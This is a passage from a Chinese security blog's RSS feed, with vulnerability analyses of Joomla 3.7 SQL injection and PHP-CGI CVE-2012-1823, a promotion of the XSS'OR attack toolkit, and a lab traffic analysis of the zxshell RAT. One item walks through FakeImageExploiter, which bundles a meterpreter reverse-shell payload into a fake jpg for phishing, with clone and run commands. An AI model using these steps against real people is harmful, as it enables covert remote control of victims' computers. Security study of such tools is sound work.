&lt;li&gt;使用源码安装的Samba用户，请尽快下载最新的Samba版本手动更新；&lt;/li&gt;
&lt;li&gt;使用二进制分发包（RPM等方式）的用户立即进行yum，apt-get update等安全更新操作；&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;缓解策略：用户可以通过在smb.conf的[global]节点下增加　nt pipe support = no 选项，然后重新启动samba服务， 以此达到缓解该漏洞的效果。&lt;/p&gt;</description></item><item><title>Joomla! 3.7 Core SQL 注入 (CVE-2017-8917)漏洞分析</title><link>https://www.lucien116.com/archives/351/</link><pubDate>Thu, 18 May 2017 16:33:22 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=351</guid><description>&lt;p&gt;&lt;strong&gt;Author: p0wd3r (知道创宇404安全实验室)&lt;/strong&gt; &lt;strong&gt;Date: 2017-05-18&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="0x00-漏洞概述"&gt;0x00 漏洞概述&lt;/h2&gt;
&lt;h3 id="漏洞简介"&gt;漏洞简介&lt;/h3&gt;
&lt;p&gt;Joomla于5月17日发布了新版本3.7.1,（ &lt;a href="https://www.joomla.org/announcements/release-news/5705-joomla-3-7-1-release.html"&gt;https://www.joomla.org/announcements/release-news/5705-joomla-3-7-1-release.html&lt;/a&gt;），本次更新中修复一个高危SQL注入漏洞（ &lt;a href="https://developer.joomla.org/security-centre/692-20170501-core-sql-injection.html"&gt;https://developer.joomla.org/security-centre/692-20170501-core-sql-injection.html&lt;/a&gt;），成功利用该漏洞后攻击者可以在未授权的情况下进行SQL注入。&lt;/p&gt;
&lt;h3 id="漏洞影响"&gt;漏洞影响&lt;/h3&gt;
&lt;p&gt;未授权状态下SQL注入&lt;/p&gt;
&lt;p&gt;影响版本： 3.7.0&lt;/p&gt;
&lt;h2 id="0x01-漏洞复现"&gt;0x01 漏洞复现&lt;/h2&gt;
&lt;p&gt;Joomla 在 3.7.0 中新增了一个 &lt;code&gt;com_field&lt;/code&gt; 组件，其控制器的构造函数如下，在 &lt;code&gt;components/com_fields/controller.php&lt;/code&gt; 中：
&lt;img loading="lazy" src="http://paper.seebug.org/content/images/2017/05/construct.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到当访问的 &lt;code&gt;view&lt;/code&gt; 是 &lt;code&gt;fields&lt;/code&gt;， &lt;code&gt;layout&lt;/code&gt; 是 &lt;code&gt;modal&lt;/code&gt; 的时候，程序会从 &lt;code&gt;JPATH_ADMINISTRATOR&lt;/code&gt; 中加载 &lt;code&gt;com_fields&lt;/code&gt;，这就意味着普通用户可以通过这样的请求来使用管理员的 &lt;code&gt;com_fields&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;接下来我们看管理员的 &lt;code&gt;com_fields&lt;/code&gt; 组件，我们来到 &lt;code&gt;administrator/components/com_fields/models/fields.php&lt;/code&gt;，其中的 &lt;code&gt;getListQuery&lt;/code&gt; 的部分代码如下：&lt;/p&gt;
&lt;p&gt;&lt;img alt="Alt text" loading="lazy" src="http://paper.seebug.org/content/images/2017/05/getlistquery.png"&gt;&lt;/p&gt;
&lt;p&gt;程序通过 &lt;code&gt;$this-&amp;gt;getState&lt;/code&gt; 取到 &lt;code&gt;list.fullordering&lt;/code&gt;，然后使用 &lt;code&gt;$db-&amp;gt;escape&lt;/code&gt; 处理后传入 &lt;code&gt;$query-&amp;gt;order&lt;/code&gt; 函数，mysqli的 &lt;code&gt;escape&lt;/code&gt; 函数代码如下：&lt;/p&gt;
&lt;p&gt;&lt;img alt="Alt text" loading="lazy" src="http://paper.seebug.org/content/images/2017/05/escape.png"&gt;&lt;/p&gt;
&lt;p&gt;这里调用 &lt;code&gt;mysqli_real_escape_string&lt;/code&gt; 来转义字符，该函数具体作用如下：&lt;/p&gt;
&lt;p&gt;&lt;img alt="Alt text" loading="lazy" src="http://paper.seebug.org/content/images/2017/05/mysqli-escape.png"&gt;&lt;/p&gt;
&lt;p&gt;仅对单双引号等字符进行转义，并未做更多过滤。另外 &lt;code&gt;$query-&amp;gt;order&lt;/code&gt; 函数的作用仅仅是将数据拼接到 &lt;code&gt;ORDER BY&lt;/code&gt; 语句后，也并未进行过滤，所以如果 &lt;code&gt;list.fullordering&lt;/code&gt; 可控，那么就可以进行注入。&lt;/p&gt;
&lt;p&gt;我们可以看到 &lt;code&gt;list.fullordering&lt;/code&gt; 是一个 &lt;code&gt;state&lt;/code&gt;， &lt;code&gt;state&lt;/code&gt; 会在视图的 &lt;code&gt;display&lt;/code&gt; 函数中进行设置：&lt;/p&gt;</description></item><item><title>在线免费的前端黑工具 XSS'OR</title><link>https://www.lucien116.com/archives/349/</link><pubDate>Thu, 18 May 2017 16:30:26 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=349</guid><description>&lt;p&gt;作者: &lt;strong&gt;余弦&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;地址： &lt;a href="http://xssor.io/"&gt;xssor.io&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这是一个在线免费的前端黑工具，目前主要包含 3 大模块：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Encode/Decode&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;加解密模块，包含：前端黑相关的加解密，代码压缩、解压、美化、执行测试，字符集转换，哈希生成，等。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Codz&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;代码模块，包含：CSRF 请求代码生成，AJAX 请求代码生成，XSS 攻击矢量，XSS 攻击 Payload，等。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Probe&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;探针模块，为了平衡，这是一个最基础的探针，且每个 IP 每天都可以生成一个唯一探针，使用者可以用这个探针发起攻击测试（如：XSS、钓鱼攻击等），探针可以获取目标用户的基本信息，使用者还可以动态植入更多的命令(JavaScript Codz)进行“远控”测试。&lt;/p&gt;
&lt;p&gt;一些用户体验与隐私考虑：&lt;/p&gt;
&lt;p&gt;XSS&amp;rsquo;OR，即使你浏览器不小心关掉或奔溃，你的记录也不会丢，因为相关记录都缓存到了你的浏览器本地。服务器不会存储你的任何隐私，除了 Probe 的结果记录（仅是结果记录）会临时性缓存，这是因为设计考虑，但每天0点都会自动清除。&lt;/p&gt;
&lt;p&gt;放心使用吧！地址： &lt;a href="http://xssor.io/"&gt;xssor.io&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;如果你有好的想法与贡献，我们采纳后，会在 XSS&amp;rsquo;OR 致谢榜上感谢你。&lt;/p&gt;</description></item><item><title>zxshell3.0后门程序通信数据简单分析</title><link>https://www.lucien116.com/archives/319/</link><pubDate>Fri, 12 May 2017 15:17:02 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=319</guid><description>&lt;h1 id="前言"&gt;前言：&lt;/h1&gt;
&lt;p&gt;这是一个很就很久以前的远控了，这东西好像当时用的人比较少。今天在网上发现了于是下载下来分析一下。软件轻巧简洁，功能也比较齐全，唯一感觉不足的是配置个人感觉比较麻烦。软件的介绍及简单使用说明在压缩包里的“必读.txt”，这里不再赘述，本文主要从后门通信的数据流量角度去分析，文末附远控样本及分析过程中的数据包。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h2 id="文件目录"&gt;文件目录&lt;/h2&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;zxshell3压缩包里面包含以下文件：&lt;/p&gt;
&lt;p&gt;├─Controller.exe 控制端，用来操控上线的服务端
├─ctrldll.dll Controller.exe的模块，主要负责远程桌面时拦截本地系统一些热键。
├─qqwry.dat ip到地理位置的数据库,可以自己下载更新的版本代替它
├─srv
│ ├─myip.txt 放在http服务器配合上线通知的用的，如果直接通过域名解析则无需用到此文件
│ ├─ZXCFG.exe 配置ZXShell.exe的默认安装参数
│ ├─zxplug.rar ZXPlug插件功能, 如何添加自定义命令的一个例子
│ └─ZXShell.exe 服务端,console版本,有几个参数,可以在cmd 下通过 -help 参数获得详细信息
└─必读.txt&lt;/p&gt;
&lt;p&gt;程序适应平台：2000/xp/vista(在测试的时候发现win7上也可正常运行)。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h2 id="分析环境"&gt;分析环境&lt;/h2&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;控制端：win7虚拟机 （10.0.3.160）&lt;/p&gt;
&lt;p&gt;服务端：win7虚拟机（10.0.3.172）&lt;/p&gt;
&lt;p&gt;上线端口默认为1985&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h2 id="分析过程"&gt;分析过程&lt;/h2&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下面将从样本的上线、远程桌面、文件控制、命令执行等操作指令的流量数据特征进行分析。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;h3 id="样本配置"&gt;样本配置&lt;/h3&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;样本的配置如下图&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/05/pzjm1.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/05/pzjm1.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;控制端默认设置监听端口1985，填好配置的上线密码如下图&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/05/pzjm2.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/05/pzjm2.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;样本配置好后，控制端点击右边的启动按钮开始监听。将生成的样本放到服务端（10.0.3.172）上并运行。（由于本地测试就没有使用外网上行的方式，采用的本地测试上线方式），在10.0.3.172上打开一个CMD，执行“puliic_ZXShell.exe -ip 10.0.3.160 -port 1985 -filename c:\ctrldll.dll -test”,可以看见会释放一个ctrldll.dll文件到我们指定的目录下&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/05/22.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/05/22.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;此时我们回到控制端，可以看到已经上线&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/05/1.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/05/1.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;上线后可以看到服务端的版本、IP、地理位置、信通信息等信息。&lt;/p&gt;
&lt;p&gt;此时我们可以从服务端上抓取的两台机器通信的数据包中可以看到上线帧。上线之后同多数远控一样，自动发送本机的一些基本信息给控制端，如下图&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/05/1.jpg"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/05/1.jpg"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;此时我们点击控制端上的“系统信息”，获取服务端电脑信息。可以看到，与上线帧里面获取的系统信息不通的是，此时服务端返回的信息系统信息更加详细。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/05/hqxtxx.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/05/hqxtxx.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;抓到的数据包：&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/05/sysinfo.jpg"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/05/sysinfo.jpg"&gt;&lt;/a&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/05/xtzl2.jpg"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/05/xtzl2.jpg"&gt;&lt;/a&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/05/xtzl3.jpg"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/05/xtzl3.jpg"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;可以发现，控制端首先发送指令“sysinfo”给服务端，随后服务端分两个包返回了系统信息。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;h3 id="远程桌面"&gt;远程桌面&lt;/h3&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;指令为：winvnc&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/05/ycpm.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/05/ycpm.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;h3 id="视频监视"&gt;视频监视&lt;/h3&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;指令为：capsrv&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/05/capsrv.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/05/capsrv.png"&gt;&lt;/a&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/05/sp.jpg"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/05/sp.jpg"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;h3 id="获取一个cmd"&gt;获取一个CMD&lt;/h3&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;指令为：getcmd&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2017/05/cmd.jpg"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2017/05/cmd.jpg"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;获取CMD后我们执行一条命令:calc.exe,打开服务端电脑上的计算器。&lt;/p&gt;</description></item><item><title>图片后门捆绑利用工具 – FakeImageExploiter</title><link>https://www.lucien116.com/archives/318/</link><pubDate>Fri, 12 May 2017 03:00:34 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=318</guid><description>&lt;p&gt;&lt;strong&gt;在这里，要向大家推荐一款名为“Fake Image Exploiter”的黑客工具，该工具可以在图片文件中捆绑隐藏的恶意.bat或.exe程序，方便钓鱼或社工攻击过程中的入侵控制。如果受害者点击该恶意图片文件后，将会向控制主机反弹一个管理控制会话。以下是其使用视频：&lt;/strong&gt; &lt;a href="https://www.youtube.com/watch?v=4dEYIO-xBHU"&gt;https://www.youtube.com/watch?v=4dEYIO-xBHU&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="配置使用"&gt;配置使用&lt;/h2&gt;
&lt;p&gt;首先，打开Kali终端，执行下载安装和配置：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;git clone &lt;a href="https://github.com/r00t-3xp10it/FakeImageExploiter.git"&gt;https://github.com/r00t-3xp10it/FakeImageExploiter.git&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="http://image.3001.net/images/20170508/14942225073502.png"&gt;&lt;img alt="1 (1).png" loading="lazy" src="http://image.3001.net/images/20170508/14942225073502.png!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;下载完成之后，进入FakeImageExploiter文件夹，选择setting文件进行配置：&lt;/p&gt;
&lt;p&gt;&lt;a href="http://image.3001.net/images/20170508/14942225495392.png"&gt;&lt;img alt="2.png" loading="lazy" src="http://image.3001.net/images/20170508/14942225495392.png!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在此，你可以选择隐藏在图片中的Payload格式，有ps1、bat、txt和exe四种格式可选，我们选择PAYLOAD_EXETNSION=bat；在生成捆绑图片文件的替换图标icon选项中，我们选择BYPASS_RH=NO，非自动，需要手动更改和添加最终生成的图片图标icon。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://image.3001.net/images/20170508/14942225766294.png"&gt;&lt;img alt="3.png" loading="lazy" src="http://image.3001.net/images/20170508/14942225766294.png!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;同样，在setting文件中找到以下两列进行按需修改：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;AUTO_PAYLOAD_BUILD=YES （自动生成Payload选项）&lt;/p&gt;
&lt;p&gt;AGENT_HANLER_PORT=4444（植入恶意程序后的客户端监听端口）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="http://image.3001.net/images/20170508/14942226601461.png"&gt;&lt;img alt="4.png" loading="lazy" src="http://image.3001.net/images/20170508/14942226601461.png!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;配置选项完成后，可以启动Fake Image Exploiter主程序。&lt;/p&gt;
&lt;h2 id="生成payload"&gt;生成Payload&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Cd FakeImageExploiter&lt;/p&gt;
&lt;p&gt;./ FakeImageExploiter.sh&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="http://image.3001.net/images/20170508/14942227064611.png"&gt;&lt;img alt="5.png" loading="lazy" src="http://image.3001.net/images/20170508/14942227064611.png!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;选择YES启动Payload生成配置框架：&lt;/p&gt;
&lt;p&gt;&lt;a href="http://image.3001.net/images/20170508/14942227275158.png"&gt;&lt;img alt="6.png" loading="lazy" src="http://image.3001.net/images/20170508/14942227275158.png!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;选择在捆绑在图片文件中的恶意程序需要加载利用的Payload，这里我们选择window/meterpreter/reverse_tcp：&lt;/p&gt;
&lt;p&gt;&lt;a href="http://image.3001.net/images/20170508/14942227504943.png"&gt;&lt;img alt="7.png" loading="lazy" src="http://image.3001.net/images/20170508/14942227504943.png!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;之后，会跳出提示框，需要手动选择你需要捆绑.bat Payload进行伪装利用的jpg图片文件：&lt;/p&gt;
&lt;p&gt;&lt;a href="http://image.3001.net/images/20170508/14942227701909.png"&gt;&lt;img alt="8.png" loading="lazy" src="http://image.3001.net/images/20170508/14942227701909.png!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;以及最终图片文件的替换图标icon主题：&lt;/p&gt;
&lt;p&gt;&lt;a href="http://image.3001.net/images/20170508/14942227936846.png"&gt;&lt;img alt="9.png" loading="lazy" src="http://image.3001.net/images/20170508/14942227936846.png!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;接下来，为最终捆绑好的恶意图片文件进行命名：&lt;/p&gt;
&lt;p&gt;&lt;a href="http://image.3001.net/images/20170508/14942228641088.png"&gt;&lt;img alt="10.png" loading="lazy" src="http://image.3001.net/images/20170508/14942228641088.png!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;FakeImageExploiter最后会生成在两个位置生成恶意图片文件，一个为本机Apache2 web服务的根目录下的.zip文件，另外为FakeImageExploiter输出文件夹（output）下的隐藏后缀恶意图片文件，点击执行后，该文件在显示jpg图像的同时，还会隐秘生成一个连向控制主机的反弹管理会话：&lt;/p&gt;
&lt;p&gt;&lt;a href="http://image.3001.net/images/20170508/14942229075938.png"&gt;&lt;img alt="11.png" loading="lazy" src="http://image.3001.net/images/20170508/14942229075938.png!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;以下是控制端成功连接后显示的反弹管理会话：&lt;/p&gt;
&lt;p&gt;&lt;a href="http://image.3001.net/images/20170508/14942229368080.png"&gt;&lt;img alt="12.png" loading="lazy" src="http://image.3001.net/images/20170508/14942229368080.png!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;好了，工具介绍完了，但请别用于非法目的哦。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;*参考来源： &lt;a href="http://www.hackingarticles.in/embedded-backdoor-image-using-fakeimageexploiter/"&gt;hackingarticles&lt;/a&gt;&lt;/strong&gt; &lt;strong&gt;，freebuf小编clouds编译，转载请注明来自FreeBuf.com&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>PHP-CGI远程代码执行漏洞（CVE-2012-1823）分析</title><link>https://www.lucien116.com/archives/317/</link><pubDate>Thu, 11 May 2017 17:16:48 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=317</guid><description>&lt;p&gt;CVE-2012-1823出来时据说是“PHP远程代码执行漏洞”，曾经也“轰动一时”，当时的我只是刚踏入安全门的一个小菜，直到前段时间tomato师傅让我看一个案例，我才想起来这个漏洞。通过在 &lt;a href="https://github.com/phith0n/vulhub/tree/master/php/CVE-2012-1823"&gt;Vulhub&lt;/a&gt; 中对这个漏洞环境的搭建与漏洞原理的分析，我觉得还挺有意思的，故写出一篇文章来，和大家分享。&lt;/p&gt;
&lt;h2 id="php-sapi-与运行模式"&gt;PHP SAPI 与运行模式&lt;/h2&gt;
&lt;p&gt;首先，介绍一下PHP的运行模式。&lt;/p&gt;
&lt;p&gt;下载PHP源码，可以看到其中有个目录叫sapi。sapi在PHP中的作用，类似于一个消息的“传递者”，比如我在《Fastcgi协议分析 &amp;amp;&amp;amp; PHP-FPM未授权访问漏洞 &amp;amp;&amp;amp; Exp编写》一文中介绍的fpm，他的作用就是接受Web容器通过fastcgi协议封装好的数据，并交给PHP解释器执行。&lt;/p&gt;
&lt;p&gt;除了fpm，最常见的sapi应该是用于Apache的mod_php，这个sapi用于php和apache之间的数据交换。&lt;/p&gt;
&lt;p&gt;php-cgi也是一个sapi。在远古的时候，web应用的运行方式很简单，web容器接收到http数据包后，拿到用户请求的文件（cgi脚本），并fork出一个子进程（解释器）去执行这个文件，然后拿到执行结果，直接返回给用户，同时这个解释器子进程也就结束了。基于bash、perl等语言的web应用多半都是以这种方式来执行，这种执行方式一般就被称为cgi，在安装Apache的时候默认有一个cgi-bin目录，最早就是放置这些cgi脚本用的。&lt;/p&gt;
&lt;p&gt;但cgi模式有个致命的缺点，众所周知，进程的创建和调度都是有一定消耗的，而且进程的数量也不是无限的。所以，基于cgi模式运行的网站通常不能同时接受大量请求，否则每个请求生成一个子进程，就有可能把服务器挤爆。于是后来就有了fastcgi，fastcgi进程可以将自己一直运行在后台，并通过fastcgi协议接受数据包，执行后返回结果，但自身并不退出。&lt;/p&gt;
&lt;p&gt;php有一个叫php-cgi的sapi，php-cgi有两个功能，一是提供cgi方式的交互，二是提供fastcgi方式的交互。也就说，我们可以像perl一样，让web容器直接fork一个php-cgi进程执行某脚本；也可以在后台运行 &lt;code&gt;php-cgi -b 127.0.0.1:9000&lt;/code&gt;（php-cgi作为fastcgi的管理器），并让web容器用fastcgi协议和9000交互。&lt;/p&gt;
&lt;p&gt;那我之前说的fpm又是什么呢？为什么php有两个fastcgi管理器？php确实有两个fastcgi管理器，php-cgi可以以fastcgi模式运行，fpm也是以fastcgi模式运行。但fpm是php在5.3版本以后引入的，是一个更高效的fastcgi管理器，其诸多优点我就不多说了，可以自己去翻翻源码。因为fpm优点更多，所以现在越来越多的web应用使用php-fpm去运行php。&lt;/p&gt;
&lt;h2 id="历史成因"&gt;历史成因&lt;/h2&gt;
&lt;p&gt;回到本漏洞。CVE-2012-1823就是php-cgi这个sapi出现的漏洞，我上面介绍了php-cgi提供的两种运行方式：cgi和fastcgi，本漏洞只出现在以cgi模式运行的php中。&lt;/p&gt;
&lt;p&gt;这个漏洞简单来说，就是用户请求的querystring被作为了php-cgi的参数，最终导致了一系列结果。&lt;/p&gt;
&lt;p&gt;探究一下原理， &lt;a href="http://www.ietf.org/rfc/rfc3875"&gt;RFC3875&lt;/a&gt; 中规定，当querystring中不包含没有解码的 &lt;code&gt;=&lt;/code&gt; 号的情况下，要将querystring作为cgi的参数传入。所以，Apache服务器按要求实现了这个功能。&lt;/p&gt;
&lt;p&gt;但PHP并没有注意到RFC的这一个规则，也许是曾经注意并处理了，处理方法就是web上下文中不允许传入参数。但在2004年的时候某个开发者发表过这么一段言论：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;From&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Rasmus&lt;/span&gt; &lt;span class="n"&gt;Lerdorf&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;rasmus&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;at&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;lerdorf&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Subject&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;PHP&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;DEV&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;php&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;cgi&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="k"&gt;switch&lt;/span&gt; &lt;span class="n"&gt;memory&lt;/span&gt; &lt;span class="n"&gt;check&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Newsgroups&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;gmane&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;comp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;devel&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2004&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;02&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;04&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;41&lt;/span&gt; &lt;span class="n"&gt;GMT&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt; &lt;span class="n"&gt;years&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;49&lt;/span&gt; &lt;span class="n"&gt;weeks&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="n"&gt;days&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt; &lt;span class="n"&gt;hours&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="mi"&gt;39&lt;/span&gt; &lt;span class="n"&gt;minutes&lt;/span&gt; &lt;span class="n"&gt;ago&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;In&lt;/span&gt; &lt;span class="n"&gt;our&lt;/span&gt; &lt;span class="n"&gt;SAPI&lt;/span&gt; &lt;span class="n"&gt;cgi&lt;/span&gt; &lt;span class="n"&gt;we&lt;/span&gt; &lt;span class="n"&gt;have&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;check&lt;/span&gt; &lt;span class="n"&gt;along&lt;/span&gt; &lt;span class="n"&gt;these&lt;/span&gt; &lt;span class="n"&gt;lines&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;SERVER_SOFTWARE&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;SERVER_NAME&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
